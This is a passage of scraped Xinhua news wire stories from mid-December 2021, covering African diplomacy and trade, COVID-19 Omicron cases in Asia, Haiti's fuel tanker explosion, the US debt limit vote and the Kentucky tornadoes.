entire world," Telesphore Barandereka, the outgoing commander of the AMISOM Burundi contingent said in a statement issued in Mogadishu, the capital of Somalia, Wednesday, while urging Somalis to support ongoing efforts by the government and international partners to restore peace and stability in the country. The commander, who has completed his year-long tour of duty under AMISOM, attributed his contingent's victories over al-Shabab to the existing cordial relations with Somali security forces and residents of Hirshabelle State in south-central Somalia. Barandereka commanded the Burundi troops based in Jowhar, capital of Hirshabelle State, for overseeing security in the Middle Shabelle region, which is part of Hirshabelle State. He noted that despite the challenges following the COVID-19 outbreak, the Burundian troops serving under AMISOM had played a key role in fulfilling the mission's mandate. During his one year of service, Barandereka and his troops conducted joint operations with the Somali National Army to degrade al-Shabab in Hirshabelle State and liberated key locations from al-Shabab control. According to the commander, some of the key operations conducted to degrade the al-Shabab threat included the operation to liberate Basra, which was an al-Shabab stronghold. Other achievements included supporting the Somali security forces to secure the elections in Hirshabelle State for the Upper House of the federal Parliament and extending the runway at the Jowhar Airport. Burundi was the second country to deploy troops under AMISOM after Uganda in December 2007. Enditem Source: Xinhua| 2021-12-15 22:04:41|Editor: huaxia Video Player Close TUNIS, Dec. 15 (Xinhua) -- Tunisian President Kais Saied on Wednesday met with visiting Hungarian Minister of Foreign Affairs and Trade Peter Szijjarto to discuss ways to enhance bilateral relations, the Tunisian presidency said in a statement. During the meeting, Saied highlighted the importance of further strengthening and diversifying bilateral relations in the future, especially in the economic, investment, cultural and education fields. The Tunisian president also referred to the historical friendship between Tunisia and Hungary, as well as the values of freedom and democracy they share. For his part, the Hungarian minister stressed his country's readiness to develop its partnerships with Tunisia within the framework of mutual respect. Enditem Source: Xinhua| 2021-12-15 22:42:46|Editor: huaxia Video Player Close ACCRA, Dec. 15 (Xinhua) -- The Chinese market offers a ray of hope for Ghana to diversify the export destination of its major cash crop cocoa as the bilateral relations between the two countries deepen, a business executive told Xinhua. Nathaniel Durant, Chief Operating Officer (COO) of Niche Cocoa Industries, a Ghana-based cocoa processing company, said a well-cultivated Chinese market could become a key destination for raw beans, semi-finished, and finished cocoa products to bring better returns to the country and its cocoa farmers. Durant stated that industry players must first learn and understand the Chinese market concerning tastes, reasons or times of consumption, and even the visual components of the various cocoa products that attract consumers. "Chocolate is consumed differently in China than it is in Europe. Consumption is around festivals, and bigger festivals are a big push for chocolate," he stated. He urged that the approach to entering the Chinese market with cocoa should not necessarily be by the traditional way of using per capita consumption or population to determine the potentials of a market. "Most people talk about the 1.5 billion people. But that does not mean they are all the same. There needs to be a much better appreciation for the culture, and the taste around that, because people in the same community may have different tastes," the business executive added. He added that understanding this particular aspect of Chinese consumption alone would create opportunities for confectionaries made from Ghana's premium cocoa. Durant cautioned, however, that despite these opportunities in that country, the approach should not just be about producing and pouring into their market but approaching the market with better facts. Besides exporting to China, the business executive listed many other opportunities for Ghana-China collaboration in the cocoa industry. "We are not just trying to link with China through cocoa beans. There are opportunities to work in the cocoa trade, opportunities in finished products. There are financing opportunities and joint-venturing opportunities," he stated. "It is more than just the cocoa or the chocolate. We also appreciate the other strengths and competencies that the Chinese companies bring to the table," Durant added. Durant said that with Ghanaian farmers still producing the sun-dried premium cocoa, the company had what it takes to deal with the Chinese market over the long term. Cocoa farming is the main preoccupation of locals in the forest belts in 11 out of the 16 regions of Ghana. But the farmers supplement their cocoa income with food crop cultivation to survive all year round. The farm work, mostly manpower-driven, using machetes for weeding around the crops, is strenuous, demanding patience and hard work to produce the beans sold to purchasing companies for export by the Ghana Cocoa Board (COCOBOD), the industry regulator. "I took over my mother's land after the death of my elder brother 15 years ago, and I produce cocoa. Cocoa takes about eight years to start bearing fruit, and by 15 years, the trees begin to yield more for the farmer," Yahaya Abudu, a Ghanaian farmer, told Xinhua. He added that "Cocoa pricing is not too good, and the purchasing companies do not pay us the full value of our products. But it is better than staying idle. I am happy to see Chinese buying and consuming Ghana's cocoa." Abubakar Mubarak, 23, another cocoa farmer in the Eastern Region, said it was a great joy knowing that many countries, including China, enjoyed chocolate and other cocoa products made from the beans produced by farmers like himself. Enditem Source: Xinhua| 2021-12-15 22:50:30|Editor: huaxia Video Player Close ADDIS ABABA, Dec. 15 (Xinhua) -- The United Nations High Commissioner for Refugees (UNHCR) on Wednesday said it only received 72 percent of the 164.5 million U.S. dollars it wants to meet the needs of internally displaced persons (IDPs) and refugees in Ethiopia. In its latest situation update report published on Wednesday, UNHCR said it has only received 72 percent of the 164.5 million U.S. dollars it wants to meet the needs of 96,000 Eritrean refugees in Ethiopia, 650,000 IDPs in Ethiopia as well as 120,000 Ethiopian refugees in eastern Sudan. The funds are needed to meet the shelter, education, health as well as water and sanitation needs of refugees and IDPs in Ethiopia as well as Ethiopian refugees in Sudan, the UNHCR disclosed. Ethiopia is the third largest refugee-hosting country in Africa, sheltering 806,374 registered refugees and asylum-seekers, mostly from South Sudan, Somalia, Eritrea and Sudan, as of October 31, 2021, UNHCR figures show. The country also has a large number of IDPs, including 2.2 million who were forced to flee the conflict that broke out in November 2020, in the northern Tigray regional state. Enditem Source: Xinhua| 2021-12-15 22:52:54|Editor: huaxia Video Player Close NAIROBI, Dec. 15 (Xinhua) -- The East African Business Council (EABC), a regional apex body of the private sector, on Wednesday called for bilateral dialogue in order to eliminate all outstanding Non-Tariff Barriers (NTBs) between Kenya and Uganda in order to boost regional trade. John Bosco Kalisa, CEO of EABC urged the two members of the East African Community (EAC) to avoid a trade stalemate and retaliation measures occasioned by the imposition of the trade barriers. "EABC believes that retaliation is not and should not be the ultimate solution but rather the two sisterly nations should sit together to resolve all outstanding issues amicably," Kalisa said in a statement. According to the EABC, Uganda said it will restrict from its domestic market some of Kenya's raw and processed agricultural products in a reciprocal move that follows its eastern neighbor's continued ban on some of its agricultural products. Kalisa said that intra-EAC trade is currently low at approximately 15 percent and is attributed to the denials of preferential market access to EAC originating products. He opined that new trade measures on retaliation will reduce trade further, affect employment, market access, economies of scale of industries and the well-being of the EAC trading bloc. According to the regional lobby, non-tariff barriers not only increase transaction time and the cost of doing business across borders but also set back the competitiveness of products originating from the EAC region. Kalisa added that the absence of an effective EAC trade dispute settlement mechanism hinders the timely resolution of persistent and mushrooming trade barriers. EABC draws membership from the private sector of Kenya, Uganda, Tanzania, Rwanda, Burundi and South Sudan. Enditem Source: Xinhua| 2021-12-15 23:31:51|Editor: huaxia Video Player Close JOHANNESBURG, Dec. 15 (Xinhua) -- South Africa's Tourism Minister Lindiwe Sisulu on Wednesday welcomed the United Kingdom's (UK's) decision to lift travel restrictions to the country. "The announcement by the UK government is a step in the right direction for the South Africa's tourism sector," she said. "When South Africa was added to the red list last month, the implementation of the hotel quarantine, instead of home quarantine was a huge deterrent for the Brits who were considering traveling to South Africa at a time when tourism was just beginning to recover." The UK imposed travel restrictions when the Omicron COVID-19 variant was detected in South Africa late last month. The UK government removed 11 countries including South Africa from the red list. "The UK government has come just in time to allow families and friends to unite over the festive season. We hope to welcome British travellers very soon," said Sisulu. "The omicron variant is something we continue to take seriously and our scientists are monitoring its trajectory, to contain the virus and ensure the appropriate robust safety measures are in place," she said. "South African borders remain open and our government and tourism industry has been working extremely hard to implement safety regulations so that we are ready for all inbound visitors." The Department of International Relations and Cooperation also welcomed the removal of the restrictions. Enditem Source: Xinhua| 2021-12-16 00:35:12|Editor: huaxia Video Player Close NAIROBI, Dec. 15 (Xinhua) -- Kenya has created a conducive policy and regulatory environment to attract foreign direct investments from China and revitalize growth of key sectors like manufacturing, financial services and ICT, an official said on Wednesday. Olivia Rachier, acting managing director of Kenya Investment Authority, said that leveraging investments from Chinese firms will help the country realize its long-term blueprint on growth and transformation. "We are looking at increasing foreign direct investments from China especially in affordable technology to support realization of the 2017-2022 President's Action plan for the next five years particularly in manufacturing and low-cost housing," said Rachier. She spoke during the launch of the Chinese Enterprises in Kenya Social Responsibility Report 2020-2021 compiled by Kenya China Economic and Trade Association (KCETA), an umbrella body for 107 Chinese firms operating in Kenya. The report under the theme "New Start New Chapter" noted that in the last two decades, Chinese enterprises have been on the frontline of spurring economic growth, employment creation and support for charitable causes in Kenya. According to the report, as these companies implemented modern infrastructure projects like roads, railways and ports, they facilitated technology and skills transfer to Kenyan youth. It revealed that Chinese enterprises have created over 60,000 jobs for Kenyans besides financing construction of schools, health centers, water supply projects as part of their corporate social responsibility. Rachier said that Kenya is keen to tap into capital and technical expertise possessed by Chinese firms to implement the Big 4 Agenda projects in agriculture, manufacturing, health and affordable housing. She added that other sectors that collaboration with Chinese enterprises would unleash immense benefits include mining, finance, ICT, transport, infrastructure and energy. Rachier said that Kenya has rolled out regulatory incentives to attract Chinese investments in export processing zones and special economic zones that are billed as industries of the future. She noted that more than 400 Chinese companies that have an enlarged footprint in Kenya have supported the country's quest to bridge skills and technological gap which has derailed industrial progress in the country. Enditem Source: Xinhua| 2021-12-16 01:12:31|Editor: huaxia Video Player Close NAIROBI, Dec. 15 (Xinhua) -- Chinese business entities have been at the center of Kenya's socioeconomic transformation besides helping the country withstand COVID-19 pandemic shocks, says a report that was launched in Nairobi Wednesday. The Chinese Enterprises in Kenya Social Responsibility Report covering 2020-2021, under the theme "New Start, New Chapter," underscores their significant contribution to spurring growth while fostering friendship between two long-standing allies. In attendance at the report's launch included Chinese Ambassador to Kenya Zhou Pingjian, senior Kenyan Officials, industry executives, employees and beneficiaries of Chinese enterprises operating in the East African Nation. "Looking ahead, Chinese enterprises in Kenya will have a more glorious mission, and enjoy a brighter future that promises greater potential for cooperation," said Zhou. Compiled by Kenya China Economic and Trade Association (KCETA), the corporate social responsibility (CSR) report notes that its 107-member companies have rallied behind the country's long-term development blueprint. "Over the past 20 years, Chinese enterprises have firmly seized the opportunities presented by Kenya's Big Four Agenda and actively moved to assist its Vision 2030," says KCETA. According to the CSR report, the Chinese firms have been at the frontlines of infrastructure modernization, industrial progress, technology and skills transfer in Kenya besides supporting a wide range of charitable causes. Notably, the report says that Chinese enterprises have employed more than 60,000 Kenyans as they surpass 90 percent localization target, adding that in the process, revitalization of domestic human resource potential has been achieved. During the implementation of modern infrastructure projects like the 480-km Mombasa-Nairobi Standard Gauge Railway, roads, bridges and ports, Chinese enterprises have financed the construction of classrooms, water points and health centers to benefit local communities. In addition, the Chinese companies had by September 2021 donated more than 65 million shillings (about 575,730 U.S. dollars) of medical supplies, including 800 liters of medical alcohol, 24,000 pairs of gloves, 500,000 masks and 4,000 protective suits to boost COVID-19 fight in Kenya, according to the report. Paul Maringa, the principal secretary in the Ministry of Transport, Infrastructure, Housing, Urban Development and Public Works, said that Kenya has leveraged capital, skills and technical prowess from Chinese firms to stimulate growth. He singled out infrastructure, housing, manufacturing, health and agro-processing as strategic areas that Chinese enterprises have an enlarged footprint, thus powering the country's socioeconomic renewal. "We find China's footprint in value addition, universal health through construction of hospitals and the building sector. Our focus is a win-win engagement," said Maringa, noting that virtually all Chinese firms implementing mega infrastructure projects in Kenya have invested in the communities, hence strengthening bilateral ties and cross-cultural understanding. Paul Ndung'u Kamweru, the director for Asia and Australia Directorate in Kenya's Ministry of Foreign Affairs, said that Chinese enterprises have provided a platform to strengthen friendship, cultural exchange and inter-communal cohesion. Through the construction of modern roads, ports and railways, Chinese firms have raised Kenya's stature as a regional transport, manufacturing and logistics hub, he stressed. Kamweru said that in 2020 alone, foreign direct investments outflow from China to Kenya rose to 600 million U.S. dollars, adding that the country was keen to harness capital from the Asian nation to revitalize key sectors like manufacturing, agribusiness, ICT and financial services. Enditem Source: Xinhua| 2021-12-16 01:50:11|Editor: huaxia Video Player Close JUBA, Dec. 15 (Xinhua) -- The Chinese Embassy in South Sudan on Wednesday donated 416 metric tons of rice as emergency food assistance to the flood-affected states in the country. Manase Lomole, the chairperson of Relief and Rehabilitation Commission, said the contribution shows China's continued support to the people of the world's youngest nation. He pointed out that South Sudan has since last year been affected by heavy floods in more than six decades, with more than 800,000 people being affected by flooding in eight of its 10 states, noting that 11 million other people are still facing food insecurity. "Humanitarian aid alone cannot adjust food insecurity. Instead, we should tackle the root causes by reducing poverty and developing the agricultural sector," he said, noting that China is in solidarity with the government and people of South Sudan. Lomole thanked China for the donation and contribution to both health and humanitarian services in the country. "China has not only stood in supporting South Sudan in humanitarian services but also in the health sector," Lomole added. In November, the Chinese Embassy in South Sudan donated 500,000 U.S. dollars in cash and 4,000 metric tons of food relief as part of emergency humanitarian aid to the flood-affected people in South Sudan. Enditem Source: Xinhua| 2021-12-15 09:38:11|Editor: huaxia Video Player Close PHNOM PENH, Dec. 15 (Xinhua) -- Cambodia has identified the first case of the Omicron COVID-19 variant, a traveler from the western African country of Ghana, the country's ministry of health announced in a press statement Tuesday midnight. "A 23-year-old Cambodian woman was confirmed positive for the Omicron variant by the Pasteur Institute in Cambodia (on) Dec. 14," the statement said. The woman, who is 15-weeks pregnant, arrived in Cambodia on Sunday from Ghana, with connecting flights in Dubai and Thailand's Bangkok, it said, adding that she was first rapid-tested positive for COVID-19 upon her arrival at the Phnom Penh International Airport. The patient is currently undergoing treatment at a COVID-19 treatment facility in Phnom Penh, the statement said. The Omicron variant was first reported to the World Health Organization (WHO) from South Africa on Nov. 24 and it was classified a "variant of concern" by the WHO. Enditem Source: Xinhua| 2021-12-15 12:03:48|Editor: huaxia Video Player Close SYDNEY, Dec. 15 (Xinhua) -- Australia's largest airline Qantas will soon extend its services to provide the nation's only direct flights to continental Europe. From next June, Qantas will offer return flights three times a week from the largest city of Sydney to Perth Western Australia (WA) and then non-stop to the Italian capital of Rome. The service, in Boeing 787 Dreamliners with cabins designed for long-haul flights, will cut more than three hours off present travel times. The announcement on Wednesday came a day after WA Premier Mark McGowan confirmed the state's domestic and international borders would reopen from Feb. 5 following lengthy closures due to COVID-19. Overseas arrivals would still need to present a negative COVID-19 polymerase chain reaction test three days before arrival in WA and get tested again on arrival but, if vaccinated, they would not have to spend time in quarantine, McGowan said. Qantas chief executive Alan Joyce said strong travel demand since the borders had reopened had given the "Flying Kangaroo" confidence to explore new destinations, adding that in a post-pandemic world, many Australians prefer non-stop international flights. "Italy is the largest market for us in continental Europe for people visiting family and friends from Australia and we think customers will love flying direct to one of the world's great cities," Joyce said. McGowan and Joyce said the new route was also expected to bolster the local tourism industry, with Qantas to partner with Tourism Western Australia to encourage an influx of European visitors. "The new route will open up our tourism industry to vaccinated overseas visitors who will see Perth and WA as an appealing and safe destination with unique attractions that can't be experienced anywhere else," McGowan said. Enditem Source: Xinhua| 2021-12-15 13:37:15|Editor: huaxia Video Player Close by Hayati Nupus JAKARTA, Dec. 15 (Xinhua) -- Indonesian people from various regions in the country are working hand in hand to help refugees from the eruption of Mt. Semeru, the highest volcano on Java island. Among them are women of the largest Muslim organization in Indonesia, Nadhatul Ulama, who are carrying out trauma healing treatments for children at refugee camps. They started their works last weekend at five camps on the southeastern slope of Semeru in Candipuro sub district, where refugees remember the gloomy afternoon of the dark sky when the mountain spewed gray hot clouds on Saturday, Dec. 4. "They were telling their experiences while crying in fear and shaking their bodies, and said that they wouldn't want to go back to their homes," Camelia Habibah, a member of Nadhatul Ulama, told Xinhua on Monday, describing the traumas of the refugees. At refugee camps, these volunteers have invited them to tell stories, draw and play together, so they can take a breath after the disaster claimed 48 lives, with dozens of others still missing, according to data released by Indonesia's National Disaster Management Agency. As the trauma healing is not an instant process, last weekend's meeting was only the beginning. After returning from the camps, they devised a plan to involve more volunteers and psychologists. Meanwhile, hundreds of women belonging to the ethnic Minang people in Dharmasraya district, West Sumatra Province, last Wednesday cooked a ton of "rendang" and donated to the Semeru refugees. Rendang is a side dish typical of the Minang people to complement rice, mostly made from beef with spices that are cooked for hours and last longer. This is not the first time that the Minang people donated food for the refugees, a move they call a reward for people's kindness when West Sumatra encountered an earthquake that killed more than 1,000 people in 2009. "We hope that with this rendang, the immunity of the refugees would be maintained because this dish is good for health," said Dharmasraya district's head Sutan Riska. This form of donation shows mutual cooperation and concern for others, as well as a message to the refugees that they are not alone, Riska added. Enditem Source: Xinhua| 2021-12-15 13:57:21|Editor: huaxia Video Player Close PHNOM PENH, Dec. 15 (Xinhua) -- Cambodia's daily COVID-19 cases fell to a single digit for the first time on Wednesday, the lowest since the third wave broke out early this year, Prime Minister Samdech Techo Hun Sen said. "This is the first time since February that the infection cases declined to a single digit, only eight persons were confirmed positive by PCR (polymerase chain reaction) tests," he said in a speech during the inauguration ceremony of a luxury hotel in Phnom Penh. The infections had gradually dropped from the peak of 1,130 cases on June 30, thanks to the country's high vaccination rates, he said, adding that so far, nearly 89 percent of the population had been inoculated against the disease. To date, the southeast Asian nation had recorded a total of 120,390 COVID-19 cases, with 2,995 deaths and 116,746 recoveries, the Ministry of Health (MoH) said. Cambodia launched a COVID-19 vaccination drive on Feb. 10, with China being the main vaccine supplier. The country had so far administered at least one dose of COVID-19 vaccines to 14.21 million people, or 88.8 percent of its 16-million population, the MoH said. Of them, 13.56 million, or 84.8 percent of the population, had been fully inoculated with both required shots and 2.9 million, or 18 percent, had taken a booster dose, it added. Enditem Source: Xinhua| 2021-12-15 14:55:30|Editor: huaxia Video Player Close A woman is inoculated with a COVID-19 vaccine at a vaccination area inside a mall in Pasay City, the Philippines, Dec. 16, 2021. The Philippines has recorded its first two confirmed cases of the Omicron variant in two travelers from Nigeria and Japan respectively, the Department of Health (DOH) said on Wednesday. (Xinhua/Rouelle Umali) MANILA, Dec. 15 (Xinhua) -- The Philippines has recorded its first two confirmed cases of the Omicron variant in two travelers from Nigeria and Japan respectively, the Department of Health (DOH) said on Wednesday. The DOH said that the Nigerian national arrived in Manila on Nov. 30 via an Oman Air flight, while the returning overseas Filipino arrived on Dec. 1 via Philippine Airlines from Japan. The two Omicron-positive individuals are now isolated in a facility managed by the Bureau of Quarantine. The Filipino had symptoms of colds and cough upon arrival, the DOH said. Health Undersecretary Maria Rosario Vergeire told reporters that one traveler was fully vaccinated while the other was not. The DOH is determining possible close contacts among co-passengers during the flights of these two cases. "The DOH is verifying the test results and health status of all passengers of these flights to determine if there are other confirmed cases or passengers who became symptomatic after arrival," the DOH added. The DOH said the two cases of the Omicron variant were detected from the 48 samples sequenced on Tuesday. With the detection of the Omicron variant, the DOH urged people to adhere to the minimum public standards and properly wear face masks, frequently wash hands, observe physical distancing, ensure proper ventilation, and avoid crowded areas. "Moreover, this holiday season, the public should avoid holding mass gatherings to curb the transmission of COVID-19," the DOH advisory said. It also urged unvaccinated people to get their COVID-19 shots. The Philippines now has over 2.8 million confirmed COVID-19 cases, including 50,351 deaths. Enditem People wait to get inoculated with COVID-19 vaccine at a cinema which was turned into a vaccination area inside a mall in Pasay City, the Philippines, Dec. 16, 2021. The Philippines has recorded its first two confirmed cases of the Omicron variant in two travelers from Nigeria and Japan respectively, the Department of Health (DOH) said on Wednesday. (Xinhua/Rouelle Umali) A man is inoculated with a COVID-19 vaccine at a vaccination area inside a mall in Pasay City, the Philippines, Dec. 16, 2021. The Philippines has recorded its first two confirmed cases of the Omicron variant in two travelers from Nigeria and Japan respectively, the Department of Health (DOH) said on Wednesday. (Xinhua/Rouelle Umali) People wait to get inoculated with COVID-19 vaccine at a cinema which was turned into a vaccination area inside a mall in Pasay City, the Philippines, Dec. 16, 2021. The Philippines has recorded its first two confirmed cases of the Omicron variant in two travelers from Nigeria and Japan respectively, the Department of Health (DOH) said on Wednesday. (Xinhua/Rouelle Umali) A woman wearing a protective mask is seen after getting inoculated with a COVID-19 vaccine at a vaccination area inside a mall in Pasay City, the Philippines, Dec. 16, 2021. The Philippines has recorded its first two confirmed cases of the Omicron variant in two travelers from Nigeria and Japan respectively, the Department of Health (DOH) said on Wednesday. (Xinhua/Rouelle Umali) Source: Xinhua| 2021-12-15 15:00:08|Editor: huaxia Video Player Close MANILA, Dec. 15 (Xinhua) -- A small plane crashed Wednesday morning on an orientation flight in the Philippines' Pangasinan province in northern Manila, killing the pilot and injuring another, Philippine aviation authorities said. The Civil Aviation Authority of the Philippines (CAAP) said the victim was on board a Cessna 152-type aircraft with his student when the plane went down around 9:00 a.m. local time in Alaminos town. According to the CAAP, the plane took off from Lingayen airport in Pangasinan at 8:22 a.m. local time for an orientation flight. The CAAP said it dispatched investigators to the areas to determine the cause of the crash. Enditem Source: Xinhua| 2021-12-15 18:03:12|Editor: huaxia Video Player Close KABUL, Dec. 15 (Xinhua) -- The second shipment of Turkmenistan-donated humanitarian supplies have arrived in Afghanistan's western province of Herat, the state-run Radio Television of Afghanistan (RTA) reported on Wednesday. The supplies including fuel, liquefied gas, wheat and clothing, as part of the 1.2-million-U.S. dollar Turkmen aid, were transported to provincial capital Herat city via the land port in Torghondi, according to the RTA. Sher Mohammad Abbas Stanikzai, deputy foreign minister of the Taliban caretaker government, and visiting Turkmen officials attended the handover ceremony in Herat on Tuesday. Stanikzai thanked Turkmenistan for its humanitarian assistance and called the neighboring country a true friend of Afghanistan. The people of Afghanistan are facing a profound humanitarian crisis that threatens the most basic of human rights, the Human Rights Council of the United Nations warned on Tuesday. Enditem Source: Xinhua| 2021-12-15 19:42:22|Editor: huaxia Video Player Close MANILA, Dec. 15 (Xinhua) -- Another 237 cases of coronavirus infections have been reported in the Philippines, taking the total to 2,836,915, the Department of Health said on Wednesday. Meanwhile, 100 more people died from COVID-19 complications, bringing the country's death toll to 50,449, the health department said. On Wednesday, the Philippines detected its first two Omicron variant cases in a 37-year-old male foreigner from Nigeria and a 48-year-old Filipino male from Japan who arrived on Nov. 30 and Dec. 1, respectively. Both are asymptomatic and in a quarantine facility, it said. "At present, active case finding and contact tracing are being conducted to determine the health condition of co-passengers of the confirmed cases," Cabinet Secretary Karlo Nograles said in a statement. Nograles said the government is closely monitoring the "developments" of the two Omicron cases. The Philippines reported fewer than 500 daily cases since Dec. 10 and fewer than 1,000 since Nov. 24, with the highest one day tally recorded on Sept. 11 at 26,303 cases. More than 23 million people out of a total population of around 110 million have been tested since the coronavirus outbreak. Enditem Source: Xinhua| 2021-12-15 20:45:22|Editor: huaxia Video Player Close COLOMBO, Dec. 15 (Xinhua) -- The Sri Lankan government is all set to declare 2022 as the "Visit Sri Lanka Year" in line with the integrated five-year Global Communication Campaign (GCC), as its aims to attract 6 million tourists and 10 billion U.S. dollars in earnings by 2025 despite the challenges by the COVID-19 virus, local media reported Wednesday. "As per our pre-COVID plan, it is critical to embark on an effective and holistic destination marketing campaign. This targeted program will not be altered even amidst the pandemic challenges," Tourism Minister Prasanna Ranatunga was quoted by local media as saying. The minister said Sri Lanka aims to generate 10 billion U.S. dollars in income by attracting 6 million tourists by 2025, as set by President Gotabaya Rajapaksa in his policy statement of "Vistas of Prosperity and Splendour." Sri Lanka's tourism sector has been recognized as a thrust sector to rebuild the economy and was identified as an export sector. According to official statistics, 101,872 tourists arrived from Jan. 1 to Nov. 28, which included 41,177 tourists that arrived in the country this month. Tourism was one of the worst-hit industries by the pandemic in Sri Lanka with the livelihoods of nearly 4 million people, directly and indirectly, affected by the lockdowns and the closing of borders. Enditem Source: Xinhua| 2021-12-16 00:06:46|Editor: huaxia Video Player Close DUBLIN, Dec. 15 (Xinhua) -- China became Ireland's fourth largest source of imported goods in the first ten months of this year, Ireland's Central Statistics Office (CSO) said here on Wednesday. Between January and October, Ireland imported 6.45 billion euros (7.27 billion U.S. dollars) worth of goods from China, nearly 22 percent more than in the same period of 2020. In terms of the value of the goods imported, China ranked fourth behind the United Kingdom (14.2 billion euros), the United States (13.6 billion euros) and France (8.15 billion euros). In the first ten months of this year, Ireland exported 9.61 billion euros worth of goods to China, up 4.35 percent year-on-year, making China the fifth largest market for Irish goods exports after the United States (43.26 billion euros), Germany (14.92 billion euros), the UK (14.58 billion euros) and Belgium (11.07 billion euros). In the same period, Ireland exported 136.24 billion euros worth of goods, slightly over one percent more year-on-year, and its total imports were valued at 81.37 billion euros, up 18.41 percent year-on-year. Last year, Ireland imported 6.54 billion euros worth of goods from China, while its exports to that country were valued at 10.32 billion euros, ranking China fifth among all its trade partners in terms of both imports and exports, the CSO said. (1 euro = 1.13 U.S. dollar) Enditem Source: Xinhua| 2021-12-15 09:34:26|Editor: huaxia Video Player Close MEXICO CITY, Dec. 14 (Xinhua) -- The death toll rose to at least 60 after a fuel tanker exploded in Haiti's northern port city of Cap-Haitien on Tuesday, a local official said. Dozens of people were injured and have been transported to hospitals in Cap-Haitien, Haiti's second-largest city, Deputy Mayor Patrick Almonor told reporters, describing the blast as "horrible." "Firefighters are making an initial assessment to determine the number of houses burned" as a result of the explosion, Almonor added. The government announced it will install field hospitals to attend to the injured as area hospitals were overwhelmed with victims. According to the deputy mayor, the explosion occurred on Tuesday morning after the fuel truck tried to avoid a motorcycle and overturned. Some fuel spilled out of the truck, drawing people around to collect. Haiti has been grappling with severe fuel shortages and skyrocketing gas prices, which were triggered by the action of armed gangs. UN humanitarians warned on Oct. 25 that the difficulty in delivering fuel in Haiti is likely to cost lives. Enditem Source: Xinhua| 2021-12-15 18:19:18|Editor: huaxia Video Player Close WASHINGTON, Dec. 15 (Xinhua) -- The U.S. House of Representatives on Wednesday morning gave a final approval to the measure that would lift the nation's borrowing limit by 2.5 trillion U.S. dollars, averting a looming debt default. The Democrats-held House approved the measure by a 221-209 vote to raise the federal government's debt limit to roughly 31 trillion dollars, hours after the Senate passed the legislation in a party-line 50-49 vote on Tuesday. The legislation now heads to President Joe Biden, who is expected to sign it quickly to ensure the nation doesn't default on its debts. "The legislation will raise the debt limit to a level commensurate with funding necessary to get into 2023," Senate Democratic leader Chuck Schumer said on Tuesday. "This is about paying debt accumulated by both parties, Democrats and Republicans. So, I'm pleased both parties came together to facilitate a process that is made addressing the debt possible," Schumer said. The vote came after Schumer and Senate Republican leader Mitch McConnell last week struck a deal to allow Democrats to raise the debt limit through simple-majority votes in the 100-member Senate, rather than the 60-vote filibuster threshold. Republicans previously refused to support Democrats' efforts to raise the debt ceiling, arguing that Democrats should deal with the crisis on their own, since they control both chambers of Congress and the White House, while complaining about Democrats' lack of bipartisanship in crafting major spending bills. Democrats, however, noted that raising the debt limit does not authorize new federal spending, but only allows the Department of the Treasury to borrow additional funds to cover expenditures that have already been approved by Congress, including COVID-19 relief bills and the tax cuts rolled out during the administration of former President Donald Trump. U.S. Treasury Secretary Janet Yellen has urged Congress to raise the debt limit by Wednesday to avoid a potential default. "I cannot overstate how critical it is that Congress address this issue. America must pay its bills on time and in full. If we do not, we will eviscerate our current recovery," Yellen said recently before the Senate Banking Committee. The Bipartisan Policy Center, a Washington, D.C.-based think tank, estimated earlier this month that the federal government could be unable to pay its bills as soon as Dec. 21 if Congress fails to raise the debt limit. Failure to pay the nation's bills on time could send immediate ripple effects throughout the global economy, particularly during a time of economic recovery and heightened uncertainty over a new COVID-19 variant, the think tank warned. The debt limit, commonly called the debt ceiling, is the total amount of money that the U.S. government is authorized to borrow to meet its existing legal obligations, including social security and medicare benefits, interest on the national debt, and other payments. Enditem Source: Xinhua| 2021-12-16 00:48:47|Editor: huaxia Video Player Close NEW YORK, Dec. 15 (Xinhua) -- U.S. state of Kentucky is awaiting President Joe Biden who is scheduled to survey tornado damage, meet with victims and deliver remarks there on Wednesday, manifesting that the federal government has attached much attention to the disaster that has claimed at least 90 lives across six states in the central parts of the country. The president's trip will include a stop in Fort Campbell for a storm briefing, and stops in Mayfield and Dawson Springs to survey storm damage. Compared with Arkansas, Illinois, Missouri, Mississippi and Tennessee, Kentucky was the hardest hit with more than 80 deaths aged from 2 months to 98 years, and over 100 unaccounted for. Meanwhile, in Edwardsville, Illinois, the Occupational Safety and Health Administration is investigating the deadly collapse at an Amazon warehouse, which was caused by a tornado on Friday that devastated the area and killed six Amazon workers. Most workers who died there were not sheltering in the "designated location," the company said. More alarmingly, CBS reported on Tuesday that the cluster of deadly storms occurring on Dec. 10 to 11 is the latest sign that "tornado activity has waned in the Great Plains -- historically known as 'Tornado Alley' -- while picking up in the southeastern U.S., a manufacturing-rich region increasingly critical to the nation's supply chain." TORNADO FORMATION Amid the catastrophe, the early signaling systems placed throughout the middle of the country mostly worked as promised, reported The Wall Street Journal on Tuesday. People received text alerts and radio alerts from local officials and forecasters, which would have given them enough time to shelter in place, as they have done for years during tornadoes. However, the power, speed and duration of the tornado caught residents, businesses and cities by surprise and overwhelmed many of their safety procedures. The tornado's estimated wind speeds of over 200 miles an hour would make it an EF5, the highest level on the Enhanced Fujita scale rating system, according to the report. While meteorologists continued to analyze data on the tornado, its length was likely record-setting. "It sent debris 30,000 feet into the air, the cruising altitude of many passenger jets, and scattered prom photos, handmade quilts and wrapped Christmas gifts scores of miles away from the tornado's path," said the report. The twister rivaled the 1925 Tri-State tornado that killed 695 people as it traveled 219 miles across Missouri, Illinois and Indiana. Bill Bunting, chief of forecast operations at the National Weather Service's (NWS) Storm Prediction Center, was quoted as saying that a rare confluence of weather conditions created the tornado. First was the development of a supercell, an enormous weather system generating severe thunderstorms and rotating upward currents of wind. That combined with an unusually steady muggy environment, with temperatures hovering in the low 70s over the course of several hours. Moreover, no other major storms formed to disrupt the tornado's formation or block its path, according to Bunting. WHY USA With about 1,200 tornadoes on average per year, "the United States has the dubious honor of residing at the top of the list," reported The Washington Post on Tuesday. According to the NWS Storm Prediction Center, there are more tornadoes in the United States than any other parts of the world, though the data from other nations is problematic to assess in sheer accuracy. "Tornadoes tend to form where cold, dry air clashes with warm, humid air. These contrasts are maximized over the mid-latitudes, where the majority of Earth's tornadoes occur. A good-size portion of the Lower 48 sits smack-dab in the center of that not-so-sweet ordinate zone," said the report, adding that the broad expanse of the country also plays a significant role. "A blend of recorded and inferential study indicates that the U.S. remains tops in tornado production, with secondary tornado-prone areas including the Canadian Prairie Provinces, Bangladesh, Britain, northeastern Mexico, northern Argentina and southern Brazil, and portions of southwestern Russia," U.S. meteorologist Roger Edwards wrote for NWS. In the case of the United States, add in the proximity to the warm waters of the Gulf of Mexico, mid-level dry air sloping down from the Rockies, plus unfettered access to cold air from northern environs (particularly 